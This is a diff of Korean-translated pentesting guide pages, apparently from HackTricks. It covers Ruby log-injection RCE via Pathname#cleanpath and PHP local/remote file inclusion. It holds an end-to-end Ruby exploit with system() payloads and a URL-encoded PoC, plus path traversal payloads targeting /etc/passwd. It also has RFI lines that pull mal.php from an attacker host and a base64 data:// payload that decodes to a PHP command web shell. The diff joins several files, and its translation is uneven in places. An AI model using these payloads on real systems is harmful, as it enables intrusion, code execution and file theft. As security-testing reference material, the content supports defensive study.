- `Pathname#cleanpath`는 파일시스템을 참조하지 않고 `.` 및 `..` 세그먼트를 정리(collapse)합니다. 이로 인해 path smuggling이 가능해집니다: 공격자가 제어하는 불필요한 문자열을 로그에 앞에 추가해도 cleanpath 후에는 여전히 실행하려는 의도된 파일로 해석될 수 있습니다(예: `../logs/error.log`).
|
||||
|
||||
### Minimal vulnerable pattern
|
||||
```ruby
|
||||
require 'logger'
|
||||
require 'pathname'
|
||||
|
||||
logger = Logger.new('logs/error.log')
|
||||
param = CGI.unescape(params[:script])
|
||||
path_obj = Pathname.new(param)
|
||||
|
||||
logger.info("Running backup script #{param}") # Raw log of user input
|
||||
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
|
||||
```
|
||||
### 로그에 유효한 Ruby가 포함될 수 있는 이유
|
||||
`Logger`는 다음과 같은 접두사 라인을 작성합니다:
|
||||
```
|
||||
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
|
||||
```
|
||||
In Ruby에서는 `#`이 주석을 시작하고 `9/2/2025`는 단지 산술입니다. 유효한 Ruby 코드를 주입하려면 다음이 필요합니다:
|
||||
- 페이로드를 새 줄에서 시작하여 INFO 라인의 `#`에 의해 주석 처리되지 않도록 하세요; 선행 줄바꿈(`\n` 또는 `%0A`)을 전송하세요.
|
||||
- INFO 라인에서 도입된 미완성 `[`를 닫으세요. 일반적인 트릭은 `]`로 시작하고 선택적으로 파서를 만족시키기 위해 `][0]=1`을 사용하는 것입니다.
|
||||
- 그런 다음 임의의 Ruby 코드를 넣으세요(예: `system(...)`).
|
||||
|
||||
Example of what will end up in the log after one request with a crafted param:
|
||||
```
|
||||
I, [9/2/2025 #209384] INFO -- : Running backup script
|
||||
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
|
||||
```
|
||||
### 로그에 코드가 기록되면서 동시에 로그 경로로 해석되는 단일 문자열 스머글링
|
||||
공격자가 제어하는 하나의 문자열로 다음을 만족해야 합니다:
|
||||
- 로그가 raw로 기록될 때, 우리의 Ruby payload를 포함하고,
|
||||
- `Pathname.new(<input>).cleanpath`를 통과하면 `../logs/error.log`로 해석되어 이후 `load`가 방금 오염된 로그 파일을 실행하게 됩니다.
|
||||
|
||||
`Pathname#cleanpath`은 schemes를 무시하고 traversal 구성 요소를 축약하므로, 다음과 같이 동작합니다:
|
||||
```ruby
|
||||
require 'pathname'
|
||||
|
||||
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
|
||||
puts p.cleanpath # => ../logs/error.log
|
||||
```
|
||||
- `#` before `://`은 로그가 실행될 때 Ruby가 꼬리 부분을 무시하도록 보장하고, `cleanpath`는 여전히 접미사를 `../logs/error.log`로 축소합니다.
|
||||
- 선행 newline은 INFO 라인에서 벗어나게 하고; `]`는 늘어진 대괄호를 닫으며; `][0]=1`은 파서를 만족시킵니다.
|
||||
|
||||
### 종단 간 익스플로잇
|
||||
1. Send the following as the backup script name (URL-encode the first newline as `%0A` if needed):
|
||||
```
|
||||
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
|
||||
```
|
||||
2. The app logs your raw string into `logs/error.log`.
|
||||
3. The app computes `cleanpath` which resolves to `../logs/error.log` and calls `load` on it.
|
||||
4. Ruby executes the code you injected in the log.
|
||||
|
||||
To exfiltrate a file in a CTF-like environment:
|
||||
```
|
||||
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
|
||||
```
|
||||
URL-encoded PoC (첫 문자는 개행 문자입니다):
|
||||
```
|
||||
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
|
||||
```
|
||||
## 참고자료
|
||||
|
||||
- Rails 보안 공지: CVE-2025-24293 Active Storage 안전하지 않은 변환 메서드 (수정됨: 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
|
||||
- GitHub 권고: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
|
||||
- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
|
||||
- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
|
||||
- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
|
||||
- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -13,9 +13,7 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
|
||||
```bash
|
||||
msf> auxiliary/scanner/vmware/vmware_http_login
|
||||
```
|
||||
유효한 credentials를 찾으면 추가적인 metasploit scanner modules를 사용해 정보를 얻을 수 있습니다.
|
||||
|
||||
|
||||
유효한 credentials를 찾으면 추가 metasploit scanner modules를 사용해 정보를 얻을 수 있습니다.
|
||||
|
||||
### 참고
|
||||
|
||||
|
@ -4,14 +4,14 @@
|
||||
|
||||
## File Inclusion
|
||||
|
||||
**Remote File Inclusion (RFI):** 파일이 원격 서버에서 로드됩니다 (이점: 코드를 작성하면 서버가 이를 실행합니다). php에서는 기본적으로 **비활성화**되어 있습니다 (**allow_url_include**).\
|
||||
**Remote File Inclusion (RFI):** 파일이 원격 서버에서 로드됩니다 (최고: 코드를 작성하면 서버가 이를 실행합니다). php에서는 기본적으로 **비활성화**되어 있습니다 (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** 서버가 로컬 파일을 로드합니다.
|
||||
|
||||
이 취약점은 사용자가 서버가 로드할 파일을 어떤 식으로든 제어할 수 있을 때 발생합니다.
|
||||
이 취약점은 사용자가 서버가 로드할 파일을 어떤 방식으로든 제어할 수 있을 때 발생합니다.
|
||||
|
||||
취약한 **PHP 함수**: require, require_once, include, include_once
|
||||
|
||||
이 취약점을 exploit하기 위한 흥미로운 도구: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
이 취약점을 악용하기 위한 흥미로운 도구: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Blind - Interesting - LFI2RCE files
|
||||
```python
|
||||
@ -19,16 +19,17 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**여러 \*nix LFI 리스트를 혼합하고 경로를 더 추가하여 만든 목록:**
|
||||
**여러 \*nix LFI 목록을 혼합하고 경로를 더 추가하여 제가 만든 목록:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
또한 `/`를 `\`로 바꿔보세요` \`\
|
||||
또한 `/`를 `\`로 바꿔보세요\
|
||||
또한 `../../../../../`를 추가해보세요
|
||||
|
||||
`/etc/password` 파일을 찾기 위해 여러 기법을 사용하는 목록(취약점 존재 여부를 확인하기 위해)은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)에서 찾을 수 있습니다
|
||||
취약점 존재 여부를 확인하기 위해 /etc/password 파일을 찾는 여러 기법을 사용한 목록은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
|
||||
### **Windows**
|
||||
|
||||
@ -39,18 +40,18 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
또한 `/`를 `\`로 바꿔보세요` \`\
|
||||
또한 `/`를 `\`로 바꿔보세요\
|
||||
또한 `C:/`를 제거하고 `../../../../../`를 추가해보세요
|
||||
|
||||
`/boot.ini` 파일을 찾기 위해 여러 기법을 사용하는 목록(취약점 존재 여부를 확인하기 위해)은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)에서 찾을 수 있습니다
|
||||
취약점 존재 여부를 확인하기 위해 /boot.ini 파일을 찾는 여러 기법을 사용한 목록은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
|
||||
### **OS X**
|
||||
|
||||
linux의 LFI 리스트를 확인하세요.
|
||||
|
||||
## Basic LFI and bypasses
|
||||
## 기본 LFI 및 우회
|
||||
|
||||
모든 예시는 Local File Inclusion에 대한 것이지만 Remote File Inclusion에도 적용될 수 있습니다 (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
모든 예제는 Local File Inclusion을 위한 것이지만 Remote File Inclusion에도 적용될 수 있습니다 (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
@ -62,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
제공된 문자열의 끝에 더 많은 문자를 덧붙이는 것을 우회 (bypass of: $\_GET\['param']."php")
|
||||
제공된 문자열 끝에 더 많은 문자를 덧붙이는 것을 우회 (bypass of: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
이는 **PHP 5.4 이후로 해결되었습니다**
|
||||
이 문제는 **PHP 5.4에서 해결되었습니다**
|
||||
|
||||
### **인코딩**
|
||||
|
||||
비표준 인코딩(예: double URL encode 등)을 사용할 수 있습니다:
|
||||
double URL encode (및 기타)와 같은 비표준 인코딩을 사용할 수 있습니다:
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
### 기존 폴더에서
|
||||
### 존재하는 폴더에서
|
||||
|
||||
back-end가 folder path를 확인하고 있을 수도 있습니다:
|
||||
아마 백엔드가 폴더 경로를 검사하고 있을 수 있습니다:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### 서버에서 파일 시스템 디렉터리 탐색
|
||||
### 서버의 파일 시스템 디렉토리 탐색
|
||||
|
||||
서버의 파일 시스템은 특정 기법을 사용해 파일뿐 아니라 디렉터리도 재귀적으로 탐색할 수 있습니다. 이 과정은 디렉터리 깊이를 확인하고 특정 폴더의 존재를 탐지하는 것을 포함합니다. 다음은 이를 수행하는 자세한 방법입니다:
|
||||
서버의 파일 시스템은 특정 기법을 사용하여 파일뿐만 아니라 디렉토리도 재귀적으로 탐색할 수 있습니다. 이 과정은 현재 디렉토리의 깊이를 파악하고 특정 폴더의 존재를 확인하는 절차를 포함합니다. 아래는 이를 달성하기 위한 자세한 방법입니다:
|
||||
|
||||
1. **디렉터리 깊이 확인:** 서버가 Linux 기반인 경우 `/etc/passwd` 파일을 성공적으로 가져와 현재 디렉터리의 깊이를 확인합니다. 예시 URL은 다음과 같이 구성될 수 있으며, 깊이가 3임을 나타냅니다:
|
||||
1. **디렉토리 깊이 결정:** 현재 디렉토리의 깊이는 `/etc/passwd` 파일을 성공적으로 가져와 확인합니다 (서버가 Linux 기반인 경우에 해당). 예시 URL은 다음과 같이 구성될 수 있으며, 이는 깊이가 3임을 나타냅니다:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **폴더 탐색:** 의심되는 폴더 이름(예: `private`)을 URL에 추가한 다음 `/etc/passwd`로 돌아갑니다. 추가된 디렉토리 레벨 때문에 depth를 하나 증가시켜야 합니다:
|
||||
2. **폴더 탐색:** 의심되는 폴더 이름(예: `private`)을 URL에 추가한 다음 `/etc/passwd`로 다시 이동하세요. 추가된 디렉터리 레벨 때문에 깊이를 하나 늘려야 합니다:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **결과 해석:** 서버의 응답은 폴더 존재 여부를 나타냅니다:
|
||||
- **오류 / 출력 없음:** 지정된 위치에 `private` 폴더가 존재하지 않을 가능성이 큽니다.
|
||||
- **`/etc/passwd`의 내용:** `private` 폴더의 존재가 확인됩니다.
|
||||
4. **재귀적 탐색:** 발견된 폴더는 동일한 기법이나 전통적인 Local File Inclusion (LFI) 방법을 사용해 하위 디렉토리나 파일을 추가로 조사할 수 있습니다.
|
||||
3. **Interpret the Outcomes:** 서버 응답은 해당 폴더의 존재 여부를 나타냅니다:
|
||||
- **Error / No Output:** 지정된 위치에 `private` 폴더가 존재하지 않을 가능성이 큽니다.
|
||||
- **Contents of `/etc/passwd`:** `/etc/passwd`의 내용이 반환되면 `private` 폴더의 존재가 확인됩니다.
|
||||
4. **Recursive Exploration:** 발견된 폴더는 동일한 기법이나 전통적인 Local File Inclusion (LFI) 방법을 사용하여 하위 디렉토리나 파일을 더 조사할 수 있습니다.
|
||||
|
||||
파일 시스템의 다른 위치에 있는 디렉토리를 탐색하려면 페이로드를 그에 맞게 조정하세요. 예를 들어, 현재 디렉토리가 깊이 3에 있다고 가정하면 `/var/www/`에 `private` 디렉토리가 있는지 확인하려면:
|
||||
파일 시스템의 다른 위치에 있는 디렉토리를 탐색하려면 payload를 적절히 조정하세요. 예를 들어 현재 디렉토리가 깊이 3에 있다고 가정하면 `/var/www/`에 `private` 디렉토리가 있는지 확인하려면 다음을 사용하세요:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Path Truncation Technique**
|
||||
|
||||
Path truncation은 웹 애플리케이션에서 파일 경로를 조작하기 위해 사용되는 기법이다. 주로 파일 경로 끝에 추가 문자를 덧붙이는 일부 보안 조치를 우회하여 접근이 제한된 파일에 접근할 때 사용된다. 목표는 보안 조치에 의해 변경된 후에도 여전히 원하는 파일을 가리키는 파일 경로를 만들어내는 것이다.
|
||||
Path truncation은 웹 애플리케이션의 파일 경로를 조작하기 위해 사용되는 기법입니다. 이는 종종 파일 경로 끝에 추가 문자를 붙이는 특정 보안 조치를 우회하여 제한된 파일에 접근하는 데 사용됩니다. 목표는 보안 조치에 의해 변경된 후에도 여전히 원하는 파일을 가리키는 파일 경로를 만드는 것입니다.
|
||||
|
||||
In PHP, 파일 시스템의 특성상 파일 경로의 다양한 표현이 동일하게 취급될 수 있다. 예를 들어:
|
||||
In PHP, 다양한 파일 경로 표현이 파일 시스템의 특성으로 인해 동등하게 취급될 수 있습니다. 예를 들어:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
|
||||
- 마지막 6글자가 `passwd`일 때, 끝에 `/`를 붙여 `passwd/`로 만들어도 대상 파일은 바뀌지 않는다.
|
||||
- 마찬가지로 파일 경로에 `.php`가 붙어 있으면 (예: `shellcode.php`) 끝에 `/.`를 추가해도 접근되는 파일은 변경되지 않는다.
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` 는 모두 동일한 경로로 취급됩니다.
|
||||
- 마지막 6자가 `passwd`일 때, `/`를 추가해 `passwd/`로 만들어도 대상 파일은 변경되지 않습니다.
|
||||
- 마찬가지로 파일 경로에 `.php`가 붙어 있을 때(예: `shellcode.php`), 끝에 `/.`를 추가해도 접근하는 파일은 변경되지 않습니다.
|
||||
|
||||
아래 예제들은 path truncation을 활용하여 민감한 내용(사용자 계정 정보) 때문에 흔히 목표가 되는 `/etc/passwd`에 접근하는 방법을 보여준다:
|
||||
The provided examples demonstrate how to utilize path truncation to access `/etc/passwd`, a common target due to its sensitive content (user account information):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -124,13 +125,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
이러한 시나리오에서는 필요한 트래버설 수가 약 2027개일 수 있지만, 이 수는 서버 구성에 따라 달라질 수 있습니다.
|
||||
이러한 시나리오에서는 필요한 traversals 수가 약 2027회일 수 있지만, 이 수치는 서버의 구성에 따라 달라질 수 있습니다.
|
||||
|
||||
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`)와 추가적인 dot 세그먼트 및 문자를 결합하면 파일 시스템을 탐색할 수 있으며, 서버가 덧붙인 문자열을 사실상 무시할 수 있습니다.
|
||||
- **Determining the Required Number of Traversals**: 시행착오를 통해 루트 디렉터리로 이동한 다음 `/etc/passwd`로 접근하는 데 필요한 정확한 `../` 반복 횟수를 찾을 수 있으며, 이 과정에서 `.php`와 같은 덧붙여진 문자열은 중화되지만 원하는 경로(`/etc/passwd`)는 유지되도록 할 수 있습니다.
|
||||
- **Starting with a Fake Directory**: 경로를 존재하지 않는 디렉터리(예: `a/`)로 시작하는 것은 일반적인 관행입니다. 이 기법은 예방적 조치로 사용되거나 서버의 경로 파싱 로직 요구사항을 충족시키기 위해 사용됩니다.
|
||||
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`)와 추가적인 dot segments 및 문자들을 결합하면 파일 시스템을 탐색하는 데 사용될 수 있으며, 서버가 덧붙인 문자열을 사실상 무시하게 만들 수 있습니다.
|
||||
- **Determining the Required Number of Traversals**: 시도와 오류를 통해 루트 디렉터리로, 그 다음 `/etc/passwd`로 이동하는 데 필요한 정확한 `../` 시퀀스 수를 찾을 수 있으며, 이때 `.php` 같은 덧붙여진 문자열을 무력화시키면서 원하는 경로(`/etc/passwd`)는 그대로 유지되도록 할 수 있습니다.
|
||||
- **Starting with a Fake Directory**: 경로를 존재하지 않는 디렉터리(예: `a/`)로 시작하는 것은 일반적인 관행입니다. 이 기법은 예비 조치로 사용되거나 서버의 경로 파싱 로직 요구사항을 충족시키기 위해 사용됩니다.
|
||||
|
||||
path truncation 기법을 사용할 때는 서버의 경로 파싱 동작과 파일시스템 구조를 이해하는 것이 중요합니다. 각 시나리오는 서로 다른 접근법이 필요할 수 있으며, 가장 효과적인 방법을 찾기 위해서는 테스트가 자주 필요합니다.
|
||||
When employing path truncation techniques, 서버의 경로 파싱 동작과 파일시스템 구조를 이해하는 것이 매우 중요합니다. 각 시나리오마다 다른 접근 방식이 필요할 수 있으며, 가장 효과적인 방법을 찾기 위해서는 테스트가 종종 필요합니다.
|
||||
|
||||
**이 취약점은 PHP 5.3에서 수정되었습니다.**
|
||||
|
||||
@ -144,25 +145,25 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
php에서는 기본적으로 비활성화되어 있습니다. 그 이유는 **`allow_url_include`**가 **Off.**로 설정되어 있기 때문입니다. 동작하려면 이를 **On**으로 설정해야 하며, 그 경우 서버에 있는 PHP 파일을 포함하여 RCE를 얻을 수 있습니다:
|
||||
php에서는 기본적으로 비활성화되어 있습니다. 그 이유는 **`allow_url_include`**가 **Off.**이기 때문입니다. 작동하려면 **On**이어야 하며, 그 경우 서버의 PHP 파일을 포함하여 RCE를 얻을 수 있습니다:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
만약 어떤 이유로 **`allow_url_include`**가 **On**인데 PHP가 외부 웹페이지 접근을 **filtering**한다면, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), 예를 들어 data 프로토콜과 base64를 사용해 b64 PHP 코드를 디코딩하여 RCE를 얻을 수 있습니다:
|
||||
만약 어떤 이유로 **`allow_url_include`** 가 **On** 이지만 PHP가 **filtering** 방식으로 외부 웹페이지 접근을 막고 있다면, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), 예를 들어 data 프로토콜과 base64를 사용해 b64 PHP 코드를 디코딩하여 RCE를 얻을 수 있습니다:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> 이전 코드에서 마지막 `+.txt`는 공격자가 `.txt`로 끝나는 문자열이 필요했기 때문에 추가된 것입니다. 따라서 문자열은 `.txt`로 끝나고 b64 decode 이후 그 부분은 단순한 무의미한 데이터가 되어 실제 PHP 코드만 포함되어(따라서 실행됩니다).
|
||||
>
|
||||
> 또 다른 예시 **`php://` 프로토콜을 사용하지 않는** 경우는 다음과 같습니다:
|
||||
> 이전 코드에서 마지막 `+.txt`는 공격자가 문자열이 `.txt`로 끝나길 원했기 때문에 추가한 것입니다. 그래서 문자열은 그것으로 끝나고 b64 decode 이후 해당 부분은 단지 무의미한 데이터만 반환하므로 실제 PHP 코드만 포함(따라서 실행)됩니다.
|
||||
|
||||
Another example **not using the `php://` protocol** would be:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Python 루트 요소
|
||||
|
||||
python에서 다음과 같은 코드의 경우:
|
||||
다음과 같은 python 코드에서:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
@ -174,11 +175,11 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
```
|
||||
이것은 [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)에 따른 의도된 동작입니다:
|
||||
|
||||
> 컴포넌트가 절대 경로인 경우, 이전의 모든 컴포넌트는 무시되며 결합은 절대 경로 컴포넌트부터 계속됩니다.
|
||||
> 만약 어떤 컴포넌트가 절대 경로(absolute path)라면, 그 이전의 모든 컴포넌트는 버려지고 결합(joining)은 절대 경로 컴포넌트부터 계속됩니다.
|
||||
|
||||
## Java 디렉토리 목록
|
||||
|
||||
Java에서 Path Traversal이 있고 파일 대신 **디렉토리를 요청하면**, **디렉토리 목록이 반환되는 것처럼 보입니다**. 이는 다른 언어에서는 발생하지 않는 것 같습니다(내가 알기로는).
|
||||
Java에서 Path Traversal이 있고 파일 대신 **디렉토리를 요청하면**, **디렉토리 목록이 반환됩니다**. 다른 언어에서는 이런 일이 발생하지 않는 것으로 보입니다(내가 알기로는).
|
||||
|
||||
## 상위 25개 파라미터
|
||||
|
||||
@ -210,38 +211,38 @@ Java에서 Path Traversal이 있고 파일 대신 **디렉토리를 요청하면
|
||||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## LFI / RFI PHP 래퍼 및 프로토콜 사용
|
||||
## LFI / RFI: PHP 래퍼 및 프로토콜 사용
|
||||
|
||||
### php://filter
|
||||
|
||||
PHP filters는 읽거나 쓰기 전에 데이터에 대한 기본적인 **수정 작업**을 수행할 수 있게 해줍니다. 필터는 5가지 범주로 나뉩니다:
|
||||
PHP filters는 데이터가 읽히거나 쓰이기 전에 기본적인 **데이터 수정 작업**을 수행할 수 있게 합니다. 필터에는 5가지 범주가 있습니다:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags`: 데이터에서 태그를 제거( "<" 와 ">" 문자 사이의 모든 것)
|
||||
- `string.strip_tags`: 데이터에서 태그를 제거합니다 ( "<" 와 ">" 문자 사이의 모든 것 )
|
||||
- Note that this filter has disappear from the modern versions of PHP
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : 다른 인코딩으로 변환(`convert.iconv.<input_enc>.<output_enc>`)합니다. 지원되는 **모든 인코딩의 목록**을 얻으려면 콘솔에서 `iconv -l`을 실행하세요.
|
||||
- `convert.iconv.*` : 다른 인코딩으로 변환합니다(`convert.iconv.<input_enc>.<output_enc>`). 지원하는 **모든 인코딩의 목록**을 얻으려면 콘솔에서 `iconv -l`을 실행하세요.
|
||||
|
||||
> [!WARNING]
|
||||
> `convert.iconv.*` 변환 필터를 남용하면 **임의의 텍스트를 생성**할 수 있으며, 이는 임의 텍스트를 쓰거나 include 같은 함수가 임의 텍스트를 처리하게 만드는 데 유용할 수 있습니다. 자세한 내용은 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)를 참고하세요.
|
||||
> `convert.iconv.*` 변환 필터를 악용하면 **임의의 텍스트를 생성**할 수 있으며, 이는 임의 텍스트를 쓰거나 include 같은 함수가 임의의 텍스트를 처리하도록 하는 데 유용할 수 있습니다. 자세한 내용은 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md) 를 참고하세요.
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: 콘텐츠를 압축(많은 정보를 exfiltrating할 때 유용)
|
||||
- `zlib.inflate`: 데이터를 압축 해제
|
||||
- `zlib.deflate`: 콘텐츠를 압축합니다 (대량의 정보를 유출할 때 유용)
|
||||
- `zlib.inflate`: 데이터를 압축 해제합니다
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : 사용 중단
|
||||
- `mdecrypt.*` : 사용 중단
|
||||
- `mcrypt.*` : 사용 중단됨
|
||||
- `mdecrypt.*` : 사용 중단됨
|
||||
- 기타 필터
|
||||
- php에서 `var_dump(stream_get_filters());`를 실행하면 몇 가지 **예상치 못한 필터**를 찾을 수 있습니다:
|
||||
- PHP에서 `var_dump(stream_get_filters());`를 실행하면 몇 가지 **예상치 못한 필터**를 찾을 수 있습니다:
|
||||
- `consumed`
|
||||
- `dechunk`: HTTP chunked encoding을 되돌림
|
||||
- `dechunk`: HTTP chunked 인코딩을 역변환합니다
|
||||
- `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
@ -270,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
> [!WARNING]
|
||||
> The part "php://filter" is case insensitive
|
||||
> 해당 부분 "php://filter" 은 대소문자를 구분하지 않습니다
|
||||
|
||||
### php filters를 oracle로 사용하여 임의의 파일 읽기
|
||||
### php filters as oracle를 사용하여 임의 파일 읽기
|
||||
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is proposed a technique to read a local file without having the output given back from the server. This technique is based on a **boolean exfiltration of the file (char by char) using php filters** as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 에서는 서버로부터 출력이 직접 반환되지 않는 상황에서 로컬 파일을 읽는 기법을 제안합니다. 이 기법은 **boolean exfiltration of the file (char by char) using php filters** 를 oracle로 사용하는 방식에 기반합니다. 이는 php filters를 이용해 텍스트를 충분히 크게 만들어 php가 예외를 발생시키도록 할 수 있기 때문입니다.
|
||||
|
||||
원문 포스트에는 기법에 대한 자세한 설명이 있지만, 여기서는 간단 요약을 제공합니다:
|
||||
원문 포스트에는 기법에 대한 자세한 설명이 있으니 참고하시고, 여기서는 간단한 요약을 제공합니다:
|
||||
|
||||
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
|
||||
- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
|
||||
- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
|
||||
- 이것은 이전 필터와 결합되어(추측된 문자에 따라 다른 필터들과 함께) 여러 변환을 적용했을 때 해당 문자가 hexadecimal 문자가 아닐 때를 관찰함으로써 텍스트의 첫 문자를 추측할 수 있게 합니다. 만약 hexadecimal이라면 dechunk가 삭제하지 않으며 초기 폭탄이 php error를 발생시킵니다.
|
||||
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
|
||||
- 초기에 **rot13** 같은 다른 변환을 사용하면 n, o, p, q, r 같은 다른 문자를 leak할 수 있습니다(또한 다른 codecs를 사용해 다른 문자들을 hex 범위로 옮길 수 있습니다).
|
||||
- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
|
||||
